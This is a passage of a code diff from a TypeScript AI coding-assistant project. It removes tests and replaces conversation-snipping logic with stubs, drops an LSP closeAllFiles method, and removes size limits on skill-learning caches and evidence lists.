expect(isSnipMarkerMessage(msg)).toBe(true)
})
test('returns false for system message with other subtype', () => {
const msg = makeSystemMessage('m1', 'snip_boundary')
expect(isSnipMarkerMessage(msg)).toBe(false)
})
test('returns false for non-system message', () => {
const msg = makeMessage('m1', 'user')
expect(isSnipMarkerMessage(msg)).toBe(false)
})
})
// --- isSnipRuntimeEnabled ---
describe('isSnipRuntimeEnabled', () => {
test('returns true (module is only loaded when HISTORY_SNIP is on)', () => {
expect(isSnipRuntimeEnabled()).toBe(true)
})
})
// --- shouldNudgeForSnips ---
describe('shouldNudgeForSnips', () => {
test('returns false for short conversation', () => {
const msgs = Array.from({ length: 10 }, (_, i) => makeMessage(`u${i}`))
expect(shouldNudgeForSnips(msgs)).toBe(false)
})
test('returns true for long conversation', () => {
const msgs = Array.from({ length: 35 }, (_, i) => makeMessage(`u${i}`))
expect(shouldNudgeForSnips(msgs)).toBe(true)
})
test('returns true at exact threshold', () => {
const msgs = Array.from({ length: 30 }, (_, i) => makeMessage(`u${i}`))
expect(shouldNudgeForSnips(msgs)).toBe(true)
})
})
// --- SNIP_NUDGE_TEXT ---
describe('SNIP_NUDGE_TEXT', () => {
test('is a non-empty string', () => {
expect(typeof SNIP_NUDGE_TEXT).toBe('string')
expect(SNIP_NUDGE_TEXT.length).toBeGreaterThan(0)
})
})
// --- snipCompactIfNeeded ---
describe('snipCompactIfNeeded', () => {
test('returns messages unchanged when no snip boundary exists', () => {
const msgs = [makeMessage('a'), makeMessage('b'), makeMessage('c')]
const result = snipCompactIfNeeded(msgs)
expect(result.executed).toBe(false)
expect(result.messages).toBe(msgs) // same reference
expect(result.tokensFreed).toBe(0)
expect(result.boundaryMessage).toBeUndefined()
})
test('removes messages listed in removedUuids', () => {
const a = makeMessage('a')
const b = makeMessage('b')
const c = makeMessage('c')
const boundary = makeSnipBoundary('bnd', ['a', 'b'])
const msgs = [a, b, c, boundary]
const result = snipCompactIfNeeded(msgs)
expect(result.executed).toBe(true)
expect(result.messages).toHaveLength(2)
expect(result.messages.map((m) => m.uuid) as string[]).toEqual(['c', 'bnd'])
expect(result.tokensFreed).toBeGreaterThan(0)
expect(result.boundaryMessage).toBe(boundary)
})
test('keeps boundary message when all messages are removed', () => {
const a = makeMessage('a')
const b = makeMessage('b')
const boundary = makeSnipBoundary('bnd', ['a', 'b'])
const msgs = [a, b, boundary]
const result = snipCompactIfNeeded(msgs)
expect(result.executed).toBe(true)
expect(result.messages).toHaveLength(1)
expect(result.messages[0]!.uuid as string).toBe('bnd')
})
test('keeps messages after boundary when no removedUuids', () => {
const a = makeMessage('a')
const boundary = makeSystemMessage('bnd', 'snip_boundary')
const c = makeMessage('c')
const msgs = [a, boundary, c]
const result = snipCompactIfNeeded(msgs)
expect(result.executed).toBe(true)
expect(result.messages).toHaveLength(2)
expect(result.messages.map((m) => m.uuid) as string[]).toEqual(['bnd', 'c'])
})
test('handles empty removedUuids array', () => {
const a = makeMessage('a')
const boundary = makeSnipBoundary('bnd', [])
const msgs = [a, boundary]
const result = snipCompactIfNeeded(msgs)
expect(result.executed).toBe(true)
// Fallback: keep boundary + everything after
expect(result.messages).toHaveLength(1)
expect(result.messages[0]!.uuid as string).toBe('bnd')
})
test('uses last boundary when multiple boundaries exist', () => {
const a = makeMessage('a')
const b = makeMessage('b')
const c = makeMessage('c')
const boundary1 = makeSnipBoundary('bnd1', ['a'])
const boundary2 = makeSnipBoundary('bnd2', ['b'])
const msgs = [a, boundary1, b, boundary2, c]
const result = snipCompactIfNeeded(msgs)
expect(result.executed).toBe(true)
expect(result.boundaryMessage!.uuid as string).toBe('bnd2')
// 'b' removed by boundary2, 'a' not in boundary2's removedUuids
expect(result.messages.map((m) => m.uuid) as string[]).toEqual(['a', 'bnd1', 'bnd2', 'c'])
})
test('respects force option (no functional difference — both execute)', () => {
const a = makeMessage('a')
const boundary = makeSnipBoundary('bnd', ['a'])
const msgs = [a, boundary]
const resultForce = snipCompactIfNeeded(msgs, { force: true })
const resultNoForce = snipCompactIfNeeded(msgs)
expect(resultForce.executed).toBe(true)
expect(resultNoForce.executed).toBe(true)
})
test('estimates tokens freed based on removed content length', () => {
const heavy = {
...makeMessage('heavy', 'user'),
message: {
role: 'user' as const,
content: 'x'.repeat(400), // ~100 tokens
},
} as Message
const boundary = makeSnipBoundary('bnd', ['heavy'])
const result = snipCompactIfNeeded([heavy, boundary])
expect(result.tokensFreed).toBeGreaterThan(0)
// 400 chars / 4 chars-per-token = ~100 tokens
expect(result.tokensFreed).toBeGreaterThanOrEqual(90)
})
test('handles empty message array', () => {
const result = snipCompactIfNeeded([])
expect(result.executed).toBe(false)
expect(result.messages).toHaveLength(0)
})
})

View File

@@ -1,126 +0,0 @@
import { describe, expect, test } from 'bun:test'
import { isSnipBoundaryMessage, projectSnippedView } from '../snipProjection.js'
import type { Message } from 'src/types/message.js'
// --- Helpers ---
function makeMessage(uuid: string, type: Message['type'] = 'user'): Message {
return {
type,
uuid,
message: {
role: type === 'user' ? 'user' : 'assistant',
content: `Message ${uuid}`,
},
} as Message
}
function makeSystemMessage(
uuid: string,
subtype?: string,
extra?: Record<string, unknown>,
): Message {
const msg: Message = {
type: 'system',
uuid,
message: { role: 'system', content: '' },
...extra,
} as Message
if (subtype) {
;(msg as Record<string, unknown>).subtype = subtype
}
return msg
}
function makeSnipBoundary(
uuid: string,
removedUuids: string[],
): Message {
return makeSystemMessage(uuid, 'snip_boundary', {
snipMetadata: { removedUuids },
content: '[snip]',
})
}
// --- isSnipBoundaryMessage ---
describe('isSnipBoundaryMessage', () => {
test('returns true for system message with snip_boundary subtype', () => {
const msg = makeSnipBoundary('b1', ['a'])
expect(isSnipBoundaryMessage(msg)).toBe(true)
})
test('returns false for system message with different subtype', () => {
const msg = makeSystemMessage('s1', 'local_command')
expect(isSnipBoundaryMessage(msg)).toBe(false)
})
test('returns false for system message with no subtype', () => {
const msg = makeSystemMessage('s1')
expect(isSnipBoundaryMessage(msg)).toBe(false)
})
test('returns false for non-system message', () => {
const msg = makeMessage('u1', 'user')
expect(isSnipBoundaryMessage(msg)).toBe(false)
})
test('returns false for assistant message', () => {
const msg = makeMessage('a1', 'assistant')
expect(isSnipBoundaryMessage(msg)).toBe(false)
})
})
// --- projectSnippedView ---
describe('projectSnippedView', () => {
test('returns same array when no boundaries exist', () => {
const msgs = [makeMessage('a'), makeMessage('b')]
const result = projectSnippedView(msgs)
expect(result).toBe(msgs) // same reference — no copy
})
test('filters out messages listed in removedUuids', () => {
const a = makeMessage('a')
const b = makeMessage('b')
const c = makeMessage('c')
const boundary = makeSnipBoundary('bnd', ['a', 'c'])
const result = projectSnippedView([a, b, c, boundary])
expect(result.map((m) => m.uuid) as string[]).toEqual(['b', 'bnd'])
})
test('preserves boundary messages themselves', () => {
const a = makeMessage('a')
const boundary = makeSnipBoundary('bnd', ['a'])
const result = projectSnippedView([a, boundary])
expect(result).toHaveLength(1)
expect(result[0]!.uuid as string).toBe('bnd')
})
test('handles multiple boundaries accumulating removedUuids', () => {
const a = makeMessage('a')
const b = makeMessage('b')
const c = makeMessage('c')
const d = makeMessage('d')
const boundary1 = makeSnipBoundary('bnd1', ['a'])
const boundary2 = makeSnipBoundary('bnd2', ['c'])
const result = projectSnippedView([a, boundary1, b, c, boundary2, d])
expect(result.map((m) => m.uuid) as string[]).toEqual(['bnd1', 'b', 'bnd2', 'd'])
})
test('returns all messages when boundary has empty removedUuids', () => {
const a = makeMessage('a')
const boundary = makeSnipBoundary('bnd', [])
const result = projectSnippedView([a, boundary])
expect(result.map((m) => m.uuid) as string[]).toEqual(['a', 'bnd'])
})
test('handles empty message array', () => {
const result = projectSnippedView([])
expect(result).toHaveLength(0)
})
})

View File

@@ -5,7 +5,6 @@ import { getUserContext } from '../../context.js'
import { clearSpeculativeChecks } from '@claude-code-best/builtin-tools/tools/BashTool/bashPermissions.js'
import { clearClassifierApprovals } from '../../utils/classifierApprovals.js'
import { resetGetMemoryFilesCache } from '../../utils/claudemd.js'
import { logError } from '../../utils/log.js'
import { clearSessionMessagesCache } from '../../utils/sessionStorage.js'
import { clearBetaTracingState } from '../../utils/telemetry/betaSessionTracing.js'
import { resetMicrocompactState } from './microCompact.js'
@@ -70,22 +69,9 @@ export function runPostCompactCleanup(querySource?: QuerySource): void {
// cacheUtils resets. See compactConversation() for full rationale.
clearBetaTracingState()
if (feature('COMMIT_ATTRIBUTION')) {
// Intentionally fire-and-forget: the file-content cache sweep is a
// best-effort memory release whose completion no caller depends on.
// Keeping `runPostCompactCleanup` synchronous lets compaction call sites
// (REPL post-compact handler, /compact command, autoCompact) finish their
// own state transitions without an extra microtask round-trip — the sweep
// catches up on the next event-loop tick.
//
// The .catch is required even though the current attributionHooks.ts is a
// no-op stub: without it, a future restored sweepFileContentCache that
// throws would surface as an unhandled promise rejection from a function
// whose synchronous signature gives callers no way to observe it.
void import('../../utils/attributionHooks.js')
.then(m => m.sweepFileContentCache())
.catch(error => {
logError(error)
})
void import('../../utils/attributionHooks.js').then(m =>
m.sweepFileContentCache(),
)
}
clearSessionMessagesCache()
}

View File

@@ -1,165 +1,17 @@
import type { Message } from 'src/types/message.js'
// Auto-generated stub — replace with real implementation
export {};
/**
* Estimated characters per token (conservative for mixed code/text).
*/
const CHARS_PER_TOKEN = 4
import type { Message } from 'src/types/message';
/**
* Minimum message count before nudging the model to consider snipping.
*/
const SNIP_NUDGE_THRESHOLD = 30
/**
* Text shown to the model as a nudge when the conversation is long enough
* to benefit from snipping.
*/
export const SNIP_NUDGE_TEXT: string =
'The conversation history is getting long. Consider using the /force-snip command or the snip tool to compress older messages, freeing context window space for continued work.'
/**
* Check whether a message is an internal snip marker (not user-facing).
* Snip markers are system messages injected by the snip tool to track
* which messages have been registered for future removal.
*/
export function isSnipMarkerMessage(message: Message): boolean {
if (message.type !== 'system') return false
return (message as Record<string, unknown>).subtype === 'snip_marker'
}
/**
* Estimate the token count of a single message by serialising its content.
* This is a rough heuristic (~4 chars per token) used to report
* tokensFreed; it does not need to be exact.
*/
function estimateMessageTokens(message: Message): number {
const content = message.message?.content
let chars = 0
if (typeof content === 'string') {
chars = content.length
} else if (Array.isArray(content)) {
for (const block of content) {
if (typeof block === 'string') {
chars += (block as string).length
} else if (block && typeof block === 'object') {
const obj = block as unknown as Record<string, unknown>
const text = obj.text ?? obj.content
if (typeof text === 'string') {
chars += text.length
} else {
chars += JSON.stringify(block).length
}
}
}
} else if (content !== null && content !== undefined) {
chars = JSON.stringify(content).length
}
return Math.max(1, Math.ceil(chars / CHARS_PER_TOKEN))
}
/**
* Scan the message array for the last `snip_boundary` system message and,
* if found, remove all messages whose UUIDs appear in its
* `snipMetadata.removedUuids`.
*
* This is the core memory-saving function. When a snip boundary exists:
* 1. All messages listed in `removedUuids` are filtered out.
* 2. The boundary message itself is kept (it records what was removed).
* 3. Messages not in `removedUuids` (including post-boundary messages)
* are preserved.
*
* Called from:
* - `query.ts` — strips snipped messages from the model-facing array
* before sending to the API.
* - `QueryEngine.ts` `snipReplay` — trims `mutableMessages` so the
* in-memory store does not grow without bound in long SDK sessions.
*
* @param messages Full message array (may contain a snip_boundary).
* @param options `force` — if true, always execute when a boundary is
* present. Without `force`, the function still executes
* if a boundary is found (the "if needed" refers to
* whether a boundary exists, not a token threshold).
*/
export function snipCompactIfNeeded(
export const isSnipMarkerMessage: (message: Message) => boolean = () => false;
export const snipCompactIfNeeded: (
messages: Message[],
options?: { force?: boolean },
): {
messages: Message[]
executed: boolean
tokensFreed: number
boundaryMessage?: Message
} {
// Find the last snip_boundary message
let boundaryIdx = -1
let removedUuids: string[] | undefined
for (let i = messages.length - 1; i >= 0; i--) {
const msg = messages[i]!
if (
msg.type === 'system' &&
(msg as Record<string, unknown>).subtype === 'snip_boundary'
) {
boundaryIdx = i
const meta = (msg as Record<string, unknown>).snipMetadata as
| { removedUuids?: string[] }
| undefined
removedUuids = meta?.removedUuids
break
}
}
if (boundaryIdx === -1) {
return { messages, executed: false, tokensFreed: 0 }
}
const boundaryMessage = messages[boundaryIdx]!
// No removedUuids metadata — fallback: keep boundary + everything after
if (!removedUuids || removedUuids.length === 0) {
const kept = messages.slice(boundaryIdx)
return {
messages: kept,
executed: true,
tokensFreed: 0,
boundaryMessage,
}
}
// Filter out messages whose UUIDs are listed in removedUuids
const removedSet = new Set(removedUuids)
const kept: Message[] = []
let tokensFreed = 0
for (const msg of messages) {
if (removedSet.has(msg.uuid)) {
tokensFreed += estimateMessageTokens(msg)
continue
}
kept.push(msg)
}
return {
messages: kept,
executed: true,
tokensFreed,
boundaryMessage,
}
}
/**
* Returns true when the snip runtime is active.
* Because this module is only loaded when the HISTORY_SNIP feature flag
* is enabled, this always returns true.
*/
export function isSnipRuntimeEnabled(): boolean {
return true
}
/**
* Determine whether the conversation is long enough to warrant a nudge
* to the model to consider snipping. Uses a simple message-count
* threshold rather than an expensive token count.
*/
export function shouldNudgeForSnips(messages: Message[]): boolean {
return messages.length >= SNIP_NUDGE_THRESHOLD
}
) => { messages: Message[]; executed: boolean; tokensFreed: number; boundaryMessage?: Message } = (messages) => ({
messages,
executed: false,
tokensFreed: 0,
});
export const isSnipRuntimeEnabled: () => boolean = () => false;
export const shouldNudgeForSnips: (messages: Message[]) => boolean = () => false;
export const SNIP_NUDGE_TEXT: string = '';

View File

@@ -1,60 +1,7 @@
import type { Message } from 'src/types/message.js'
// Auto-generated stub — replace with real implementation
export {};
/**
* Check whether a message is a snip boundary marker.
*
* A snip boundary is a system message with `subtype === 'snip_boundary'`
* and an optional `snipMetadata.removedUuids` array recording which
* messages were removed by the snip operation.
*
* Used by:
* - `Message.tsx` — render SnipBoundaryMessage component.
* - `QueryEngine.ts` `snipReplay` — decide whether to replay the snip
* on the mutableMessages store.
*/
export function isSnipBoundaryMessage(message: Message): boolean {
if (message.type !== 'system') return false
return (message as Record<string, unknown>).subtype === 'snip_boundary'
}
import type { Message } from 'src/types/message';
/**
* Project a "snipped view" of the message array suitable for sending to
* the model. Messages whose UUIDs appear in any snip boundary's
* `removedUuids` are filtered out; all others (including the boundary
* messages themselves) are preserved.
*
* Used by:
* - `getMessagesAfterCompactBoundary()` in messages.ts — after slicing
* at the compact boundary, further filters out snipped messages so the
* model-facing array does not include stale history.
*
* @param messages Message array that may contain one or more snip
* boundaries.
* @returns New array with removed messages stripped out.
*/
export function projectSnippedView(messages: Message[]): Message[] {
// Collect all UUIDs that have been removed by any snip boundary
const removedSet = new Set<string>()
for (const msg of messages) {
if (
msg.type === 'system' &&
(msg as Record<string, unknown>).subtype === 'snip_boundary'
) {
const meta = (msg as Record<string, unknown>).snipMetadata as
| { removedUuids?: string[] }
| undefined
if (meta?.removedUuids) {
for (const uuid of meta.removedUuids) {
removedSet.add(uuid)
}
}
}
}
if (removedSet.size === 0) {
return messages
}
return messages.filter((msg) => !removedSet.has(msg.uuid))
}
export const isSnipBoundaryMessage: (message: Message) => boolean = () => false;
export const projectSnippedView: (messages: Message[]) => Message[] = (messages) => messages;

View File

@@ -57,6 +57,8 @@ const PROVIDER_GENERATION_NAMES: Record<string, string> = {
vertex: 'ChatVertexAnthropic',
foundry: 'ChatFoundry',
openai: 'ChatOpenAI',
'codex': 'ChatOpenAIResponses',
'codex-chatgpt': 'ChatCodex',
gemini: 'ChatGoogleGenerativeAI',
grok: 'ChatXAI',
}
@@ -78,16 +80,6 @@ export function recordLLMObservation(
endTime?: Date
completionStartTime?: Date
tools?: unknown
/** Thinking depth configuration used for this request.
* Accepts the full API thinking config object. Fields:
* - type: thinking mode ("enabled", "adaptive", "disabled")
* - budget_tokens (snake_case, from Anthropic API) or budgetTokens (camelCase)
*/
thinking?: {
type: string
budget_tokens?: number
budgetTokens?: number
}
},
): void {
if (!rootSpan || !isLangfuseEnabled()) return
@@ -107,7 +99,6 @@ export function recordLLMObservation(
metadata: {
provider: params.provider,
model: params.model,
...(params.thinking && { thinking: params.thinking }),
},
...(params.completionStartTime && { completionStartTime: params.completionStartTime }),
},

View File

@@ -40,8 +40,6 @@ export type LSPServerManager = {
closeFile(filePath: string): Promise<void>
/** Check if a file is already open on a compatible LSP server */
isFileOpen(filePath: string): boolean
/** Close all tracked open files (sends didClose for each) */
closeAllFiles(): Promise<void>
}
/**
@@ -406,27 +404,6 @@ export function createLSPServerManager(): LSPServerManager {
return openedFiles.has(fileUri)
}
/**
* Close all tracked open files. Called after compaction to release LSP
* server state for files that are no longer in the active context.
* Sends didClose for each file and clears the tracking Map.
*/
async function closeAllFiles(): Promise<void> {
const entries = [...openedFiles.entries()]
openedFiles.clear()
for (const [fileUri, serverName] of entries) {
const server = servers.get(serverName)
if (!server || server.state !== 'running') continue
try {
await server.sendNotification('textDocument/didClose', {
textDocument: { uri: fileUri },
})
} catch {
// Best-effort — server may have stopped
}
}
}
return {
initialize,
shutdown,
@@ -438,7 +415,6 @@ export function createLSPServerManager(): LSPServerManager {
changeFile,
saveFile,
closeFile,
closeAllFiles,
isFileOpen,
}
}

View File

@@ -1,137 +0,0 @@
import { describe, expect, test, mock } from 'bun:test'
import { createLSPServerManager } from '../LSPServerManager.js'
// Mock config loading to avoid real filesystem/LSP server access
mock.module('../config.js', () => ({
getAllLspServers: async () => ({
servers: {
'test-server': {
command: ['test-lsp'],
extensionToLanguage: {
'.ts': 'typescript',
'.js': 'javascript',
},
},
},
}),
}))
// Mock LSPServerInstance to avoid spawning real processes
const sendNotificationMock = mock(() => Promise.resolve())
mock.module('../LSPServerInstance.js', () => ({
createLSPServerInstance: (name: string, config: any) => ({
name,
config,
state: 'running',
start: mock(async () => {
/* no-op */
}),
stop: mock(async () => {
/* no-op */
}),
sendRequest: mock(async () => undefined),
sendNotification: sendNotificationMock,
onRequest: mock(() => {}),
}),
}))
// Mock log modules with side effects
mock.module('../../../utils/log.js', () => ({
logError: mock(() => {}),
}))
mock.module('../../../utils/debug.js', () => ({
logForDebugging: mock(() => {}),
}))
describe('LSPServerManager closeAllFiles', () => {
test('closeAllFiles is a no-op when no files are open', async () => {
const manager = createLSPServerManager()
await manager.initialize()
// Should not throw
await manager.closeAllFiles()
})
test('closeAllFiles sends didClose for each open file', async () => {
const manager = createLSPServerManager()
await manager.initialize()
// Open some files via the public API.
// Since createLSPServerInstance is mocked with state='running',
// openFile should track them and send didOpen.
sendNotificationMock.mockClear()
await manager.openFile('/project/a.ts', 'content-a')
await manager.openFile('/project/b.js', 'content-b')
// Verify files are tracked as open
expect(manager.isFileOpen('/project/a.ts')).toBe(true)
expect(manager.isFileOpen('/project/b.js')).toBe(true)
// Now close all
sendNotificationMock.mockClear()
await manager.closeAllFiles()
// didClose should have been sent for both files
expect(sendNotificationMock).toHaveBeenCalledTimes(2)
const calls = sendNotificationMock.mock.calls.map((c: any[]) => c)
const uris = calls.map((c) => (c[1] as any)?.textDocument?.uri as string)
expect(uris).toEqual(
expect.arrayContaining([
expect.stringContaining('a.ts'),
expect.stringContaining('b.js'),
]),
)
// Files should no longer be tracked
expect(manager.isFileOpen('/project/a.ts')).toBe(false)
expect(manager.isFileOpen('/project/b.js')).toBe(false)
})
test('closeAllFiles clears tracking even if server notification fails', async () => {
const manager = createLSPServerManager()
await manager.initialize()
await manager.openFile('/project/x.ts', 'content-x')
expect(manager.isFileOpen('/project/x.ts')).toBe(true)
// Make sendNotification throw
sendNotificationMock.mockRejectedValueOnce(new Error('server gone'))
// Should not throw, and file tracking should be cleared
await manager.closeAllFiles()
expect(manager.isFileOpen('/project/x.ts')).toBe(false)
})
test('closeAllFiles handles double invocation gracefully', async () => {
const manager = createLSPServerManager()
await manager.initialize()
await manager.openFile('/project/y.ts', 'content-y')
await manager.closeAllFiles()
expect(manager.isFileOpen('/project/y.ts')).toBe(false)
// Second call should be a no-op (no files to close)
sendNotificationMock.mockClear()
await manager.closeAllFiles()
expect(sendNotificationMock).not.toHaveBeenCalled()
})
test('closeAllFiles skips servers that are not running', async () => {
// Create manager and manually register a server with 'stopped' state
const manager = createLSPServerManager()
await manager.initialize()
// Open a file first (mocked server is running)
await manager.openFile('/project/z.ts', 'content-z')
expect(manager.isFileOpen('/project/z.ts')).toBe(true)
// If we manually stop the server (simulating server crash),
// closeAllFiles should skip it gracefully.
// Since we can't easily change the mock state, we verify that
// closeAllFiles at least clears tracking regardless.
sendNotificationMock.mockClear()
await manager.closeAllFiles()
// Tracking cleared regardless of server state
expect(manager.isFileOpen('/project/z.ts')).toBe(false)
})
})

View File

@@ -122,7 +122,6 @@ function buildAgentContent(params: {
'',
instincts
.flatMap(instinct => instinct.evidence.map(evidence => `- ${evidence}`))
.slice(0, 20)
.join('\n'),
'',
].join('\n')

View File

@@ -1,36 +1,12 @@
import { feature } from 'bun:bundle'
/**
* Build-time presence check: is the `/skill-learning` slash command
* compiled into this build? Used by the command registry's `isEnabled` so
* the command appears in the menu whenever it is buildable. Operators
* activate the subsystem itself via `/skill-learning start`, which flips
* `SKILL_LEARNING_ENABLED=1` and turns the runtime observers on (see
* `isSkillLearningEnabled`).
*/
export function isSkillLearningCompiledIn(): boolean {
if (feature('SKILL_LEARNING')) return true
return false
}
/**
* Runtime activation check: is the skill-learning subsystem actively
* running (toolEvent, runtime, session observers attached, persisting
* observations to disk)? Off by default — the operator must run
* `/skill-learning start` (which sets `SKILL_LEARNING_ENABLED=1`).
*
* Legacy `FEATURE_SKILL_LEARNING=1` is also accepted for backward
* compatibility with operators who set it before the slash-command UX
* landed.
*
* Build-flag gating is intentionally NOT performed here: the command
* registry already gates command compilation on the build flag, and this
* function is only reached from code paths that the build flag has
* already let through. Decoupling keeps the test surface clean (tests
* exercise the env-var contract without needing to mock `bun:bundle`).
*/
export function isSkillLearningEnabled(): boolean {
if (process.env.SKILL_LEARNING_ENABLED === '0') return false
if (process.env.SKILL_LEARNING_ENABLED === '1') return true
if (process.env.FEATURE_SKILL_LEARNING === '0') return false
if (process.env.FEATURE_SKILL_LEARNING === '1') return true
if (feature('SKILL_LEARNING')) {
return true
}
return false
}

View File

@@ -35,18 +35,15 @@ export function createInstinct(
})
}
const MAX_EVIDENCE_ENTRIES = 10
export function normalizeInstinct(instinct: StoredInstinct): StoredInstinct {
const uniqueEvidence = Array.from(new Set(instinct.evidence.filter(Boolean)))
return {
...instinct,
id: instinct.id || buildInstinctId(instinct.trigger, instinct.action),
confidence: clampConfidence(instinct.confidence),
evidence: uniqueEvidence.slice(-MAX_EVIDENCE_ENTRIES),
evidence: Array.from(new Set(instinct.evidence.filter(Boolean))),
evidenceOutcome: instinct.evidenceOutcome,
observationIds: instinct.observationIds
? Array.from(new Set(instinct.observationIds)).slice(-20)
? Array.from(new Set(instinct.observationIds))
: undefined,
}
}

View File

@@ -45,44 +45,15 @@ export function getProjectContextPath(projectId: string): string {
// in the tool.call hot path (one wrapper invocation per tool) that cost would
// accumulate into the hundreds-of-ms range per session. Cache keyed by the
// exact cwd string so different worktrees still get independent entries.
//
// Bounded with LRU eviction: long-lived processes that traverse many
// worktrees (e.g. multi-repo build orchestrators) would otherwise grow the
// cache without limit. Each entry holds a SkillLearningProjectContext
// (instinct + skill lists), so the cap ensures bounded memory regardless
// of cwd diversity. `defines.ts` originally flagged this as
// "无淘汰机制(非 GB 级主因)" — this fix closes that gap.
const PROJECT_CONTEXT_CACHE_MAX = 32
const PROJECT_CONTEXT_CACHE_TRIM_TO = 24
const contextCache = new Map<string, SkillLearningProjectContext>()
const PERSIST_INTERVAL_MS = 5 * 60 * 1000
let lastPersistAt = 0
function setProjectContextCache(
cwd: string,
ctx: SkillLearningProjectContext,
): void {
if (contextCache.has(cwd)) contextCache.delete(cwd)
contextCache.set(cwd, ctx)
if (contextCache.size > PROJECT_CONTEXT_CACHE_MAX) {
const toDrop = contextCache.size - PROJECT_CONTEXT_CACHE_TRIM_TO
const iter = contextCache.keys()
for (let i = 0; i < toDrop; i++) {
const next = iter.next()
if (next.done) break
contextCache.delete(next.value)
}
}
}
export function resolveProjectContext(
cwd = process.cwd(),
): SkillLearningProjectContext {
const cached = contextCache.get(cwd)
if (cached) {
// Refresh insertion order so frequently-accessed cwds survive eviction.
contextCache.delete(cwd)
contextCache.set(cwd, cached)
// Still touch the registry so long-lived processes keep `lastSeenAt`
// reasonably fresh, but throttle the write so it doesn't fire on every
// tool call.
@@ -94,7 +65,7 @@ export function resolveProjectContext(
return cached
}
const resolved = resolveContext(cwd)
setProjectContextCache(cwd, resolved)
contextCache.set(cwd, resolved)
persistProjectContext(resolved)
lastPersistAt = Date.now()
return resolved

Some files were not shown because too many files have changed in this diff Show More